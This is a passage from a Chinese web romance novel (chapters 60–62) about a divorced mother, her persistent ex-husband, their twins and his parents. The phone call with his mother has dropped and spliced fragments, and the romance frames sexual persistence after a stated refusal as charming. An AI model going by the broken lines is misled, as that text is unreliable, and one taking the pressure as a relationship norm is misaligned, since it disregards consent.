当着孙子孙女的面,章芝纭不好说破,给丈夫递个眼色,又瞥瞥儿子:“你自个儿问他去。” 赵天成冲儿子瞪眼:“混账东西,又把静烟气跑了是吗?” 赵叙平指指楼上:“在我屋睡着呢。” 赵天成这岁数,立马明白了,脱口而出:“你俩——”余光瞥见孩子,赶紧收住话口,长叹一声,摇了摇头:“你俩爱怎么着怎么着吧!” 孩子们围住赵叙平,一人抱着他一条腿,齐齐问他要妈妈。 “妈妈昨晚太累了,让她好好休息,多睡会儿。”赵叙平牵着他俩走向花园。 赵叙平和父母陪孩子们在花园玩到中午,回来时,周静烟已经下楼。 “妈妈!你终于起啦!”周听雨扑向母亲,被母亲抱起,抬手搂着母亲脖子,“爸爸说你昨晚累坏了,现在好点儿了吗?” 章芝纭和丈夫面面相觑。周静烟红着脸垂下眼眸,片刻后睨赵叙平一眼,小声怨道:“怎么什么都跟孩子说!” 赵叙平轻揽住她肩头,笑意温柔:“这不是怕孩子闹着要去找你么。” 周云生见母亲抱姐姐,也伸手要抱抱,赵叙平怕周静烟累着,自己抱起周云生,问:“玩儿得开心么?” 周云生在外面跑得满头大汗,飞快点头:“开心!现在有点儿饿了,吃完还想玩儿!” 章芝纭惊讶:“就饿啦?早上吃那么多!” 赵天成拿来毛巾,慈爱地给孙子擦汗:“小孩儿长身体是这样,以前叙平运动完胃口也大。” 擦完汗,赵天成从儿子怀里接过孙子,章芝纭也从周静烟怀里接过孙女,老两口抱着孩子去洗手,周静烟默默望着祖孙四人背影,太多情绪涌上心头。 “怎么了?”赵叙平见她神情复杂,关切问道。 她摇摇头,沉默一会儿才说:“真羡慕听雨和云生,打小就有这么多人疼爱。” 赵叙平拥住她:“你也是我和我爸妈疼爱的小公主。” 周静烟鼻酸,挣开他怀抱,轻声笑了笑:“叔叔阿姨疼爱我就行了,至于你,滚一边儿去。” 赵叙平没被这话打击,反倒回想起昨晚恩爱的画面,她红扑扑的俏脸在脑海中挥散不去,这会儿听她骂自己,当做是撒娇,腆着脸凑过去,飞快吻她一下。 她气得瞪眼,搓了搓脸,四处张望,生怕别人看见:“总是不知道避着点儿人!” 赵叙平张口就来:“我不避人,我不要脸。” 惹得她又发笑。 他抬手摸摸她微烫的脸,明知故问:“笑什么?” “笑你口头禅竟然是‘我不要脸’!” “这可不仅仅是口头禅,这是人生格言!” 周静烟轻轻啐他。 老两口抱着孩子回来,人齐了,大家上桌吃饭,爷爷奶奶各抱一个,亲自喂饭。 赵叙平看得头疼,劝道:“爸,妈,孩子这个年纪,完全能自己吃饭,你俩快别喂了。” 章芝纭哪里肯听,将孙女搂得更紧:“这才多大年纪?三岁不到,当然得喂!” 赵叙平:“爷爷说我两岁就自个儿吃了,筷子拿不稳还得挨我爸训。” 赵天成往孙子嘴里塞一勺肉羹,拿眼瞥他:“你是你,对你这种人,就该严厉教育。” 赵叙平料到父母会有隔辈亲,没成想竟会这么严重,见劝不动,默默扒饭,不吱声。 周静烟看在眼里,也觉得他父母太过娇惯孩子,当下沉住气没说什么,等吃完午饭,她主动提出陪章芝纭散步。 出门前赵叙平给她使眼色,暗示她跟母亲谈谈,别继续惯着孩子,她眨了眨眼,冲他点头。 陪章芝纭在园子里逛着,周静烟找机会开口,提到这事儿,本以为章芝纭会反驳,却听到了出乎意料的回应。 “其实吧,我和老赵都知道,我俩对孩子确实太娇惯,也知道这样有什么危害,别看我俩嘴上不认,可我俩心里门儿清。” 周静烟惊讶:“长久这样对孩子不好,您和叔叔为什么——” 不等她说完,章芝纭摇头打断:“我们就是觉着亏欠孩子太多,不知道该怎么弥补,只能这样了。昨儿我和老赵去你们那的路上还商量呢,说先惯孩子一阵儿,慢慢再教规矩。” 周静烟:“小孩儿很会得寸进尺,现在太娇惯,以后再想严厉,可能会比较难……” 章芝纭摆摆手:“嗐,放心吧,他俩一看就是聪明人,响鼓不用重锤敲,规矩嘛,多教教就会了。” 周静烟将信将疑,想着论起教孩子,她肯定比自己有经验,便不再质疑,转念想起另一件事,欲言又止。 章芝纭瞧出来了,笑道:“跟我你可不用藏着掖着,有什么话直说就行。” 周静烟轻声开口:“叙平说得没错,父母教育孩子时,长辈最好别插手,否则父母难以树立威信,以后再想教育,就难了……” 章芝纭没想到她会替赵叙平说话,愣了片刻,凑近低声问:“心疼他?” 周静烟被这么一问,也愣了愣,红着脸摇头:“没呢……主要是育儿书上也这么说,我觉得有道理,就跟您说一下。” 章芝纭笑着点点头:“我和老赵不是不讲道理的人,你说得在理,回头我转告他,我俩这事儿做得确实不对,得改。静烟,谢谢你的提醒,以后关于孩子的教育问题,咱们就该多讨论,哪里不妥当,互相监督,互相纠正。” 她这般通情达理,周静烟很是感动,脸红红的,眼也红红的,含着泪笑起来。 章芝纭也不禁眼眶湿润,本觉得自己不该多嘴,思来想去,到底没忍住,劝道:“按理说,我这身份,不该掺和你跟叙平的事,可我年纪大了,思想比较守旧,总觉着一家人就该在一块儿……静烟,我这话说得够明白吧?” 周静烟点头,没作声。 章芝纭又道:“我们上了岁数的人,总渴望家庭团圆和美,我跟老赵盼着你带孩子回来,我们俩好好疼爱你们娘仨……” 说着,章芝纭哽咽起来。 周静烟握住她的手,柔声说:“阿姨,孩子能回来,我不能。我跟叙平之问,破镜重圆也不会圆满。” 章芝纭替儿子说情:“叙平他早就知道错了,你走以后,他没有一天不想你,没有一天不后悔,先前还嘴硬,死不承认,我和他爸都知道他心里有多难受。静烟,你考虑看看,要不要给他一个机会,给这段感情一个机会,给孩子一个圆满的家……” 沉默良久,周静烟仍是摇头:“可我也想给自己一个机会。阿姨,您不知道,爱他真是一件很痛苦的事。” “我知道,我怎么会不知道?”章芝纭紧紧握住她的手,长叹,“多的话我也不说了,总之,无论你做出什么选择,这个家永远欢迎你。” 章芝纭抱了抱她,牵着她往回走。 孩子们上午玩累了,吃得饱饱的,被赵天成抱去睡午觉,章芝纭散完步也回房休息。周静烟睡不着,回到赵叙平房问,见他正躺在沙发上,闭着眼。 她走过去,轻轻唤他一声。 这人没动静,她在他身旁坐下,看着这张熟睡的脸,想起许多年前,这张脸上神采飞扬,意气风发,此刻却多了几分落寞沧桑。 她抬手轻抚这张脸庞,很快他便醒了,睁开眼,愣愣看她一会儿。 她收回手,起身要走,被他攥住腕子拽回来坐下。 他将头枕在她腿上,又闭上眼睛,长长缓缓呼出一口气。 “周静烟,我刚才做了个梦。” “别是梦见我了。”她调侃道。 赵叙平笑笑:“还真梦见你了。” 她问:“梦见我干嘛了?” 赵叙平:“我在梦里做了以前不敢做的事儿。” 周静烟:“什么事儿?” 赵叙平:“梦见周家人欺负你,我把他们都杀了。” 她垂眸望着这张俊脸,见他眉眼戾气横生,吓得心惊:“还好只是梦!不然你也没法活了。” 他闭着眼握住她手腕:“不活就不活,你活得不开心,我活着也没劲。” 周静烟无言,许久不作声。 他忽地睁开眼,坐起来,将她搂入怀中。 “如果以前,我勇敢一点,早些帮你摆脱周家,早些说爱你,我们一定会有更好的结局,对么?” 他的脸埋进她颈窝,说到最后,声泪俱下。 如果以前。如果以前。 可惜没有如果,也永远回不到以前。 60-70 第61章 第61章【VIP】 周静烟不知他现在说这些话还有什么意义,只觉得唏嘘。 还爱他吗?她在心里默默问自己。 爱过罢了。答案很快从心底浮现。 还会爱上吗?她又问自己。 这个问题倒是思考了许久。 未来难以预测,活到这个年纪,她深知世事无常,不敢对任何事打包票。她恐惧自己重蹈覆辙,所以才会在微信上将他备注为——“别回头”。 未来的事就交给未来吧,她不再为难自己。 她挣脱赵叙平怀抱,起身问道:“昨晚一宿没睡?” 赵叙平点头,挂泪的脸上浮现笑意:“关心我?” 周静烟不作声,迈步往外走,被他三两步追上,攥着腕子拽回怀里。 “是不是关心我?”他紧逼着问,眼眶依然湿润,目光饱含期望,像个迫不及待跟大人讨糖的孩子。 有那么一刻,周静烟心里生出不忍,想着要不骗骗他吧,骗骗他,兴许他能高兴点儿。 然而,她忽然想起从前。从前自己多么渴望从他嘴里听到一句“爱你”,哪怕只是谎言。 他连骗都不肯骗。 想到这,周静烟不再心软,用尽全力将他推开。 “作为孩子母亲,我只是希望孩子的父亲身体健康,希望他能陪伴孩子长大,不要中途缺席。”她看着他,平静地说出实话。 赵叙平不得不承认,她的话很在理,也是自己所希望的。 可这话太理智,不掺杂丝毫男女层面的个人情感,客气得让他心痛。 “所以以后,我们的身份,只能是孩子父母?”他红着眼问。 周静烟轻笑:“不然呢?赵叙平,我连朋友都不想跟你做。” “我就这么——”他心里太疼,蓦地顿住,缓缓抽了抽气,“这么让人厌恶?” “是。”周静烟闭上眼,点点头。 现在她对他只是无感,谈不上爱恨喜恶,可他几番纠缠,她不得不寄期望于谎言。 “赵叙平,无论你怎么说,怎么做,我都不可能回头。纠缠只会让我生厌。” 他扯起唇角,摇着头冷笑:“那昨晚算什么?” “昨晚?昨晚什么也不算。”周静烟耸耸肩,满脸无所谓。 他怒火攻心,目光紧盯着她,扳过她的脸:“不算什么?眼神别躲,看着我再说一遍。” 周静烟掀开眼皮,对上这双湿润泛红的眼睛,冷淡开口:“昨晚什么也不算,我的身体我做主,睡一觉能怎么着?快活快活就得了,我都没当回事儿,你也别太在意。” 赵叙平侧头哼笑:“合着我成工具了呗?” 周静烟眨眼,面上仍是淡淡的:“你非要这么想,我也没办法。” 以前在网上看过这条渣男语录,这会儿用上了,周静烟忽然发现,当个渣男可真爽。 把人逼到绝路,轻飘飘一句话推卸责任,拍拍屁股走人——大多数男人不都这样么? 周静烟挡掉他的手往外走。 赵叙平没追上来,其他人都在午休,她静静离开这里,回到老城区自己的家。 还是家里待着踏实,她想。 家里静悄悄的,她坐在客厅沙发上,看着这个陪伴了自己几年光阴的房子,陷入沉思。 一路走来,周静烟所经历的一切,让她成为了不折不扣的有神论者。她相信有神,相信人各有命。 她坐在这间小小的房子里,想:有些人命中注定要住这种老旧的小房子,比如她;有些人命中注定要住豪华大房子,比如她的两个孩子。 她丝毫不怀疑他们对她的爱,可她决定让他们回归赵家,何尝不是因为爱? 周静烟希望两个孩子长大后能明白。 她就这样安静地坐了许久,直到章芝纭打来电话。 “静烟,你去哪儿了?叙平又把你气走了吗?”那头,章芝纭声音惶恐。 周静烟赶忙解释:“阿姨,我和叙平没吵架,现在也不像以前,我们俩吵不起来了。我回来处理点事儿。” 章芝纭追问:“处理什么事儿?” 听着周静烟支支吾吾,章芝纭知道她编不下去了,叹息一声,说道:“你在这儿待着不自在吧?” “是……” “没关系,阿姨理解你的心情,不会怪你,只是怕你一个在家冷清,晚点儿让司机过去接你吧?” “不用了,谢儿,他有些激动,您劝劝他。” “他又跟你提复婚了?唉,怎么这么沉不住气!” 周静烟知道,自己不愿意复婚,赵叙平父母一定很伤心,可她也,默默想了会儿,安慰道:“阿姨,我跟叙平关系如何,绝不会影响到我跟您,还心里,您和叔叔一直是亲人般的存在。” ,我心里头自然高兴,可一想起孩子,我就——” 周静烟顺着这个话口,天吧,到时候我去接。” 章芝纭:“哪能让你接?我们给送回来。只是,等开学了,还让他们在老城那边上幼儿园么?” 周静烟听出章芝纭的意思,问:“您想让孩子转学?” 章芝纭:“是有这个想法来着。叙平和伊伊小时候读的都是外国语幼儿园,那家幼儿园几十年来口碑非常不错,离这儿也不远,我就想着让听雨和弟弟也转过去读。” 本以为周静烟会拒绝,可她竟答应得干脆。 章芝纭愣了愣,不敢相信:“静烟,你、你同意了?” 周静烟心平气和说道:“转过去挺好。老城这边的幼儿园,环境和教学质量肯定都不如那边。” 章芝纭:“可要是转过来,他俩没法回去住,只能——” 周静烟:“就让他俩住你们那吧,阿姨,我考虑清楚了,孩子跟着你们一起生活,比跟着我强。以后周末和过节,我都会去看他俩,咱们也正好聚一聚。” 章芝纭确实盼着孩子能跟自己一起生活,可更盼着她能回来。听她这么说,理解这是她作为一个女人,一个母亲,能做出的最大让步。 “这个决定,你告诉叙平了么?” “暂时还没呢,您跟他说吧。” 章芝纭听得出来,周静烟压根不想跟儿子沟通,心里虽然不好受,却也没为难她,应道:“行,你好好休息,甭担心孩子,他俩在这儿很适应。” 打完这通电话没多久,赵叙平微信上就发来消息。 赵叙平:【我妈跟我说了。这事儿你想好了?】 周静烟:【想得很清楚。以后假期我陪孩子,平时多谢你们照顾。】 赵叙平:【能不能别总这么客气?周静烟,你这样真的很伤人。】 周静烟:【习惯就好】 赵叙平没再回复。 她本以为这人被自己的冷漠逼退,不成想到了晚上,这人竟出现在门口。 夜里九点,周静烟透过猫眼看到赵叙平在门外,觉得这人简直离谱,都这样了,还有脸找上门。 她小心翼翼不敢弄出动静,假装不在家,外头的人不停叩门,嘴里念叨:“周静烟,别装,在门口是吧?” 周静烟屏住呼吸,又听他嚷嚷:“媳妇儿,开门!媳妇儿!媳妇儿别这样!我错了,我真的错了!” 周静烟看明白了,这人就是奔着扰民去的,恨不得街坊邻里都知道她家有个男人找上门,一口一个“媳妇儿”这么叫她。 她实在没脸让别人看热闹,飞快开门,蹙眉冲赵叙平凶道:“你有病啊!成心的是吧!” 正骂着,赵叙平做贼似的闪身挤进来,迅速关上门,举起双手,特无辜:“哪能成心啊,只是喝了几杯酒,有点儿上头。” 周静烟凑近嗅了嗅,果真有酒味。 “得了吧,别什么都赖酒!” 这人睁大眼睛,一脸真诚:“没赖酒,我纯纯不要脸。” 周静烟气得发笑,抱着胳膊送他白眼。 她转身往卧室走去,这人跟着要进屋,被她挡在门口。 “今晚别想了,我来例假了。” “没到日子吧?我记着不是这几天。” “你记错了。” “不可能,关于你的一切我可都是牢记于心。” 说着,赵叙平腆着脸往里钻,扭头看看气呼呼的周静烟,又给她添把火——顺手关门。 两个人在卧室,周静烟不用想也知道,今晚没法好好睡了。 她气得心口发堵,往床沿一坐,呜呜哭起来,边哭边倒苦水。 “回回都是又久又长,以前没离婚要受这档子苦就算了,离了还得受这档子苦,我上哪儿说理去!” 她哭,赵叙平自然心疼,可听到这话,又觉得委屈,赶忙在她身旁坐下,搂着她肩膀替自己辩解:“我一个人也腻乎不了啊,回回你都勾我,这方面我哪有什么自制力,你一勾,不就跟老屋着火似的?你自个儿放的火,不得你自个儿灭?” 周静烟越哭越厉害,眼泪止不住,狠狠捶他几下,抽噎着反问:“合着倒成我的罪过了是吧?哪回不是跟你说行了行了,哪回没让你停?” 她哭成泪人儿,赵叙平越发觉得自己冤:“你俏生生那小模样,泪汪汪的,我就是柳下惠我也停不了啊!再说了,那会儿你让停,我哪知道是真想停假想停?有时候真停了,你又催着快点儿,不是,周静烟,到底什么意思啊?” 周静烟发现,他不开口还好,一开口,看似哄人,实则拱火,叫她又羞又气,恨不得捶死他。 “哎呀你别说了!以后再也别来不就行了?一来就腻乎,不来对大家都好。” “对我不好,我憋得慌,我难受死。” 周静烟气得冷笑,抬起手,食指冲他脑门儿戳去:“难受你买个娃娃吧,我可不伺候。” 赵叙平握住这根手指,亲亲指腹,笑得没脸没皮:“不用你伺候我,我伺候你就成。” 周静烟红着脸骂:“你那是伺候么?纯纯折腾人!” 他“啧”一声,剑眉微拧:“哎,哎,周静烟,你说这话没良心,老子又是嘴又是手的,忙活不过来了都,你在那躺着叫唤,来,周静烟,你摸着良心说,咱们俩谁伺候谁?” 周静烟啐他一口,捂着脸拼命摇头:“好歹也是常青藤高材生,说话这么糙,粗俗!” 赵叙平乐了,薄唇凑过去,飞快亲了亲她侧脸。 “我就一俗人,红尘人干红尘事儿,清心寡欲对我来说不可能。” 周静烟细腰被他箍住,挣不开,跑不掉,知道他兴头上来了,抵死不让:“一身酒味儿,洗漱去!” 赵叙平搂紧她,笑着问:“洗漱完了呢?” 周静烟:“洗澡!” 赵叙平:“洗完澡呢?” 周静烟:“滚去睡沙发!” 赵叙平哭丧着脸:“别介,那沙发对我来说太小,腿都伸不开。” 周静烟:“那就蜷着腿睡!” 赵叙平喘得越发急促,搂她也更紧:“不抱着你我睡不着。” 她深深吸气,闭了闭眼,板脸严肃看着他。 “赵叙平,今晚我不想。听明白了么?我不想。我累了,就想好好歇着。阿姨下午跟我打电话还嘱咐我,让我好好休息,只有你,成天净想着折腾我。” 赵叙平听完陷入沉默,好一会儿,他点点头,松开怀抱。 “行,今晚玩儿把纯爱。” 周静烟瞪他:“谁要跟你玩儿纯爱!” 他笑了,俊脸贴过来,唇边两个酒窝。 “闲着也是闲着,玩玩儿呗。我可不想再用你从酒店带回来的一次性牙刷了,毛巾也没有,走,咱俩出去买洗漱用品去,反正以后我常来,早晚都得买。” 周静烟愣愣看着他:“你还打算常来?” “那可不,持久战嘛,比的就是耐力。”他笑了笑,又补一句,“还有脸皮。” 周静烟跟他说不通,倒头往床上躺:“你自个儿去,我累了,我要休息。” 赵叙平俯身亲亲她脸颊:“我要是出去了,你立马锁门,以为哥哥不知道你打的什么主意?” 周静烟憋着笑:“不会,你只管出去,给你留着门。” 连亲好几口也不够,赵叙平又将手搭在她侧腰,轻缓游移:“宝宝,陪陪我呗。” 周静烟扯开那只不老实的手:“谁是你宝宝!” 赵叙平:“除了你,还能是谁?” 周静烟扭头,盯着他:“那听雨和云生呢?” “他俩?”赵叙平笑了,“他俩是小棉袄和小混蛋,只有你是宝宝。” 周静烟没忍住,捂着肚子笑。 “云生多可爱呀,干嘛叫人家小混蛋?” “可爱么?我觉着挺混蛋的。” “那也是遗传你!” “嗯,谁叫他爹我是个老混蛋?” “你还知道自己老啊?” “不是,周静烟,嫌我老?行,今儿我让你看看什么叫老当益壮。” 这人没等说完就压过来,周静烟急得大声求饶:“我错了我错了!哥哥一点儿都不老!” 赵叙平冷笑:“不,哥哥老,哥哥大你五岁呢,奔四了都。” 她赶忙摇头:“哥哥年轻着呢!别闹,赵叙平,别闹!不是说要玩儿纯爱么?不许动手动脚!” 赵叙平扬眉起身,歪着头瞧她:“乐意跟我玩儿纯爱了?” “还不是你逼的!”她鼓着腮帮子从床上起来,后退两步,与他空出距离。 赵叙平一步走到她跟前,抬手摸摸她的脸:“那走吧,买东西去,小河豚。” 周静烟破功笑出声:“你才河豚呢!” 他点点头:“嗯,我老河豚。” 附近便利店和小超市都没关门,周静烟不敢带他进去,绕远路来到一公里外的一家超市。 “前面不是有两家店么,干嘛不在那买?”赵叙平问。 她不作声。 其实赵叙平早猜到原因,这会儿才说:“怕熟人见着?” 周静烟冷脸承认:“知道还问。” 赵叙平:“见着就见着呗,人要问起来,你就说——‘跟前夫再续前缘’。” 周静烟从货架上随手拿起一条毛巾抽他,又将毛巾扔他肩上:“闭嘴吧你!真要碰见熟人,给我把嘴巴缝死,不许吱声,听到没有?” 赵叙平点点头,拇指和食指捏一块儿,从嘴唇左边划拉到右边,冲她比出个OK的手势。 买完洗漱用品,赵叙平又顺手拿了一盒套。 周静烟红着脸别过头去。 医生说过,她体质特殊,能怀上已经不易,还怀了龙凤胎,简直堪称奇迹。 前两年又做过一次检查,另一位医生也说,她这身体难受孕,所以这几回跟赵叙平都没做措施,事后也没吃药。 “防着点儿吧,毕竟我还是挺能耐的。” 头顶传来赵叙平低沉的声音。 她羞臊仰起脸看他一眼,蹙眉发笑:“可真会往自个儿脸上贴金!” 他单手搂住她,往怀里带,飞快在她脸上啄一口:“咱烟烟也不是一般人,牛逼。” 周静烟噗嗤乐出声,脸红得厉害,推开他疾步走开。 结完账出来,赵叙平想牵她的手,她躲着不让,赵叙平清了清嗓子:“咳——那什么,牵手都不行,不玩儿纯爱了是吧?回去咱就来点儿荤的。” 周静烟停下脚步,闭着眼深呼吸,走到他身边,手伸过去,碰了碰他手背。 这人一把握住她的手,脸上尽是得逞之后的坏笑:“向纯爱战士致敬!” 周静烟:“神经!” 手牵手回到楼道,周静烟站在门口,挣了挣他的手,挣不开,冷着脸瞧他:“撒手,我得找钥匙。” 赵叙平这*才撒开,乐呵呵看她翻包。 包里有些乱,周静烟正找着钥匙,身后传来一个熟悉的声音:“小周,这么晚才回来?” 周静烟扭头一看,是楼上老太太。 上回老太太还好心提醒她,有人在她家门口鬼鬼祟祟,周静烟蓦地屏住呼吸,看看老太太,又看看赵叙平。 老太太目光落到赵叙平脸上,总觉得眼熟,忽然瞪大眼睛:“你不是——不是上回在这儿蹲点的那个混子么!” 赵叙平冲老太太摇头。 周静烟尴尬得快窒息了,抹抹额头上的细汗,心想自己大晚上带男人回来,传出去多不好听,对孩子影响多不好啊。 这老太太虽然平时不爱嚼舌根,可万一没忍住,跟家里人说了呢?不如自己趁早解开误会,省得被人传谣。 周静烟挤出一个笑,胳膊碰了碰赵叙平,对老太太解释道:“孩子爸爸。” 赵叙平冲老太太点头。 老太太面露惊讶,上下打量他几回:“原来是孩子爸爸呀,不好意思啊小伙子,把你认成混子了!” 赵叙平笑着摇摇头。 老太太见他不是摇头就是点头,到现在也没吱一声,有些纳闷儿。 周静烟扭头看着他“啧”一声,催道:“跟人打招呼呀!” 赵叙平抿紧薄唇,抬手比划两下,嘴里“嗯嗯呜呜”。 老太太恍然大悟:“哦,哦……唉!”又打量他片刻,扭头看向周静烟:“孩子爸爸一表人才,可惜是个聋哑人!” 周静烟愣愣看着老太太上楼,过了会儿转过脸来,目光定在赵叙平脸上,眉心紧蹙:“好端端的,装什么哑巴!” 赵叙平满脸无辜:“不是你让我碰见熟人不许吱声么?” 周静烟仰脸扶额:“我意思是别乱说话,不是让你装哑巴!” 赵叙平本就是故意的,绷着脸憋笑:“请你以后说清楚点儿,别又闹这种乌龙。” 周静烟一秒都没脸在外面多待,赶紧找出钥匙开门,进屋直奔卧室,找出干净衣服去洗澡。 等她洗完,赵叙平看着她叹气:“没换的衣服,怎么办?” 她冷脸问:“难不成想穿我的?” 干完坏事心情好,赵叙平乐出声,打电话让助理去休息室找几套干净衣服送过来,里里外外都要。 周静烟对着梳妆镜,将刚吹干的头发扎成个丸子头:“当你助理也挺可怜的,大晚上还得给你跑腿。” 赵叙平哼笑:“也不看看我付他多少工资。” 周静烟:“那是,有钱能使鬼推磨。” 赵叙平从背后搂住她,吻了吻她光洁的后脖颈,收紧手臂力道,不让她挣开。 “咱俩复婚,我的钱都给你。”他柔声说。 周静烟扯不开那双手,也挣不脱,轻声叹息,嘀咕:“谁稀罕。” 赵叙平:“不稀罕我也要给你。” 她微微愣住:“又没复婚,给我干嘛?” 赵叙平轻笑:“就给就给我就给。” 周静烟知道他在学儿子,不禁乐出声:“多大个人了,还学小孩儿说话!” “就学就学我就学。” 周静烟笑得直不起腰。 赵叙平忽然松开手,从西裤兜里掏出钱夹,整个递给她:“里边儿的卡都是你的,现金倒是没多少,卡里钱多,今年我再给你们娘仨办个信托。” 周静烟瞥他一眼,往脸上抹护肤品:“给我干嘛?给孩子就行。” 他又从后面搂她:“对我而言,你比孩子重要。” 周静烟无声笑了笑,擦完脸,转身与他面对面,抬手托起他半边脸。 “现在倒是嘴甜。” 赵叙平拿脸蹭蹭她手心:“以前没说的肉麻话,现在以后都给你补上。” 周静烟轻笑,放下手,转身又背对着他,还是那句话:“谁稀罕。” 赵叙平默默松开双臂,走出卧室,去阳台抽了根烟。 他知道追妻路漫漫,绝非简单之事;也知道自己必须厚着脸皮坚持;更知道除了坚持追妻这一条路,自己别无选择…… 然而每次面对她的冷言冷语,每次忍受她的忽视疏离,心总是隐隐抽痛,似乎有根针,在里面一下一下来回抽拉,扎进去,拽出来,反反复复,疼得他想哭。 助理送来衣物,赵叙平洗完澡换上居家服,望了望她卧室。 卧室门虚掩着,透出一缕光,他走进去,见周静烟躺在床上,柔声问道:“关灯么?” 周静烟闭着眼应一声。 他关了灯,摸黑上床,侧躺,从后面搂她。 “说好了,今晚纯爱。”周静烟身子瑟缩一下,怕他出尔反尔。 他下巴搭在她肩头:“说到做到,咱就纯聊天。” 明显感觉怀里的女人舒了口气,放松下来,他扯扯唇,无声笑了笑。 周静烟问:“聊什么呀?” 赵叙平想了想,脑子里冒出个好点子:“这样,咱俩假装现在是以前,比方说——现在我二十三,你十八,怎么样?” 周静烟从没想过还能这样玩儿,原本有些困,被他挑起兴致,兴奋地转过身来,俩人脸对脸,她笑着问:“现在设定在那晚之前还是那晚之后?” 赵叙平明白她什么意思,故意装糊涂:“哪晚?” 周静烟声音变小,脸也发烫:“就……就我喝了酒亲你那晚……” “现在就是那晚,”赵叙平唇边漾开笑意,“你亲我,我又亲你,沈琳没来捣乱,咱俩还在柴房里。” “哦。”周静烟半天没往下说。 赵叙平等得不耐烦,催问:“干嘛呢?” 周静烟:“酝、酝酿一下,有点儿找不到感觉……” 赵叙平笑笑,起身下床,走到窗户边,将窗帘拉开些,月光刚好照到她脸上。 他躺回去,搂她入怀,托起她下巴,月光让两个人都能看清对方的眼睛。 “现在有感觉了么?”他低声问。 周静烟点头,仍是不说话。 赵叙平入了戏,笑里一股子痞劲儿:“小丫头片子,亲我干嘛?” 他这样好看,月光下更是好看得要命,周静烟看得发痴,身子又麻又软,声儿也娇滴滴:“人家喝了酒,不知道自己在干嘛……” “哥哥帮你回忆一下。”他不由分说吻上去。 吻得两个人都失神,周静烟赶紧推开他,叫停:“纯爱!说好了纯爱!” 赵叙平无奈叹息:“看来咱俩玩儿纯爱,还是有些难度啊。” “都怨你!”周静烟捶他一下,“不许动嘴,不许乱摸,更不许蹭来蹭去!” “行行行,祖宗,都听你的。”他松开她,平躺,望着天花板,“十八岁的小静烟儿呐,你想没想过嫁给哥哥?” 许久,周静烟极小声回答:“想过……” 赵叙平话里含笑:“巧了不是,哥哥正好也想过娶你,再等两年,等你一到法定结婚年龄,哥哥就带你领证去。” 周静烟也忍不住乐:“真的假的?哥哥说话可得算话!” 赵叙平:“上外头打听打听,哥哥什么时候不守信用?再说了,就算哥哥骗别人,哥哥骗过你么?” 周静烟想了想:“还真没有。” 赵叙平侧身躺着,抬手戳戳她脸颊:“那不就得了。哥哥疼你还来不及,哪舍得骗你。” 过了会儿周静烟才作声:“赵叙平,你会给我一个家么?” 他抱住她:“当然会。过两年我就回国,咱俩把证领了,等你大学毕业,咱就准备要孩子。我估摸着吧,咱能生俩,因为我够能耐,你肚子也争气。根据我夜观天象,掐指一算,咱生的还是对龙凤胎!” 周静烟被他逗得直乐,笑着捶他好几下:“说正经的!” 他握住她手腕,将她的手放在自己心口。 “周静烟,我今天下午路过天桥,找一大爷算了算。” “今天?” “对,就今天——你十八岁,高中毕业,在小柴房亲我这天。” 周静烟反应过来:“真算过?” 赵叙平点头:“真算过,只是没跟你说。” 周静烟:“算的什么?” 赵叙平:“姻缘。” 周静烟:“大爷怎么说?” 赵叙平:“大爷说,我情路坎坷,是个二婚命。” 周静烟沉默。 赵叙平将她搂得更紧:“我问大爷,两次结婚是不是都跟同一个人,你猜大爷说什么?” 周静烟屏住呼吸,目不转睛盯着他的眼。 他笑起来,月光下,俊朗如从前,仿佛仍是许多年前那个意气风发的少年。 “大爷一眼把我瞧透,问我,小伙子,心里有人了是吧?我说是。大爷让我再付他二百块,给看个合盘。” “你付啦?” “当然。” “然后呢?大爷怎么说?”周静烟急得冒汗。 “我把你生日给他,他一看,拍着大腿说,哎哟嘿,小伙子,你俩这辈子正缘,分分合合,最后谁也离不开谁!我问是不是离了也得跟前妻复婚,他说合盘上看着是,不过除了命,还得看运,万一哪一步没对上,也未必能复婚。” 周静烟陷入长久的沉默。 乌云遮住月亮,卧室黑漆漆,赵叙平轻声开口:“烟烟,我想给你一个家。不止是给孩子,更是给你。给你一个完整的家,一个刮风下雨天寒地冻都可以躲进来地方。烟烟,我想成为你的依靠。” 周静烟鼻子发酸,脸埋进他胸膛,孩子似的痛哭起来。 第62章 第62章【VIP】 赵叙平点中了她的死穴。 刹那间,周静烟终于明白,自己最最渴望的,竟然不仅仅是被爱,更是一个充满爱与温情的家。 现在有人说爱她,并且要给她一个家——一个真实的,完整的,不是说说而已的家。 这个人不仅会爱她,会给她一个家,还会成为她的依靠。 听到这话,她有种飘摇小半生,终于可以停靠上岸的踏实感。 痛哭是因为心酸,因为自怜,因为感动。 赵叙平发现,原来他的烟烟,竟这么好哄。 从前自己真是混账,哪怕只是动嘴哄她一哄,也不愿意。 他将她抱紧,睡衣胸前被泪水沾湿,他托起她下巴,乌云移开,月亮又出来,月光照在这张梨花带雨的脸上,他心疼坏了,温柔吻过脸上泪痕。 “小孩儿,别哭了,哥哥明天给你买巧克力。” 周静烟破涕为笑:“什么小孩儿,都二十多了!” 赵叙平转身从床头柜上拿来纸巾,替她拭泪:“哪有,现在不才十八么?” 周静烟眨眨眼:“还没出戏呀?” 他笑着看她一会儿,在她额头蜻蜓点水吻一下:“出不了,一辈子都出不了。人生如戏,我的戏里必须有你。” 周静烟脑袋晕乎乎,半张脸贴在他怀里,仰头瞧他:“以前真不知道你这么会说甜言蜜语。” 赵叙平搭在她腰间的手,握住她一只手,十指相扣。 “以前总觉得你不会走,这些话总说不出口。后来我遇到一老太太,老太太教会我一个很重要的道理。” “什么?” 赵叙平把自己装成钉子户老太太儿子的事告诉她。 听完,周静烟沉默许久。 “打那以后我就彻底想清楚了:情感也好,情绪也罢,都需要表达。爱或不爱,你得跟人家说明白;高不高兴也得说出来,别老忽冷忽热,让人猜心思。 “周静烟,趁着咱们还活着,还年轻,多肉麻的话我都得说,不然那天嘎嘣一下没了,想说也来不及了。” 听到这,周静烟蹙着眉拼命摇头:“呸呸呸!你这臭嘴,不许胡说!” 赵叙平笑笑:“没事儿,人都会死,死了没什么大不了,重要的是:活着别留遗憾。” 周静烟睁大眼睛,目光颇有些崇拜:“哥哥可以去当人生导师了。” 赵叙平乐得轻捏她脸颊:“侃两句就把你迷住了?” 周静烟打掉他的手,面上发烫:“什么呀!客气客气,夸你一句而已!” 这人死皮赖脸握住她那只手,一本正经开口:“承蒙欣赏,以后遇到什么事儿都来找哥哥,哥哥保准给你开导明白。” 周静烟大笑。她有个习惯,一笑就爱捶他,笑个不停,就捶个不停。 等她笑完,赵叙平捂着肩膀直喊疼。 